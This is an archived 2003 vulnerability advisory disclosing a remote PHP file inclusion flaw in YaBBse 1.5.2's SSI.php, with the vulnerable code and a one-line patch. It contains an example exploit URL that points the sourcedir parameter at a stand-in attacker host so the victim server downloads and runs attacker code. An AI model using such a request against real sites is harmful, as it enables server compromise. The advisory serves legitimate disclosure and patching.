('binary' encoding is not supported, stored as-is) [ Illegal Instruction Labs Advisory ] [------------------------------------------------------------------------] Advisory name: Remote code execution in YaBBse 1.5.2 (php version) Advisory number: 13 Application: Yet another Bulletin Board 1.5.2 Vendor: www.yabbse.org Date: 06.05.2003 Impact: Attacker can execute arbitrary php code Tested on: * Discovered by: Dalibor Karlovic & DownBload Mail me @: downbloadat_private Homepage: www.kamikaza.org ======[ Overview YaBB is widely used bulletin board system. ======[ Problem One of the files that are included in main application is vulnerable to remote code execution if it is accessed directly with certain parameters. Name of the file is SSI.php. Simmilar bug was discovered in previous version YaBB 1.5.1. SSI.php: ------------------------------------------ include_once ($sourcedir . '/Errors.php'); include_once ($sourcedir . '/Subs.php'); include_once ($sourcedir . '/Load.php'); ------------------------------------------ We can define $sourcedir variable through URL and include some other PHP script local or remote if remote inclusion is enabled in php.ini file. Bug in not exploitable if PHP's registar_globals is set to off. ======[ Exploit Exploit would look like this: ----cut here---- http://www.victim.com/yabbse/ssi.php?sourcedir=http://www.attacker.com ----cut here---- Attacker would place an Errors.php file on his server. The code included would get executed on victim's server. Attacker's httpd server should not have php enabled because the script will be parsed before sending it to the victim. ======[ Solution Add this line before include_once() lines mentioned above. ----cut here---- if (!isset($sourcedir)) $sourcedir = ""; ----cut here---- ======[ Greetz Greetz goes to #hr.hackers and #linux <irc.carnet.hr>. Special greetz goes to (rand()): St0rm, BoyScout, h4z4rd, finis, Sunnis, Fr1c, phreax, StYx, harlequin, LekaMan, Astral and active-security. Shitz goes to stupid darkman, who will exploit this bug and claim that he is a great hacker.
This archive was generated by hypermail 2b30 : Fri May 09 2003 - 10:04:22 PDT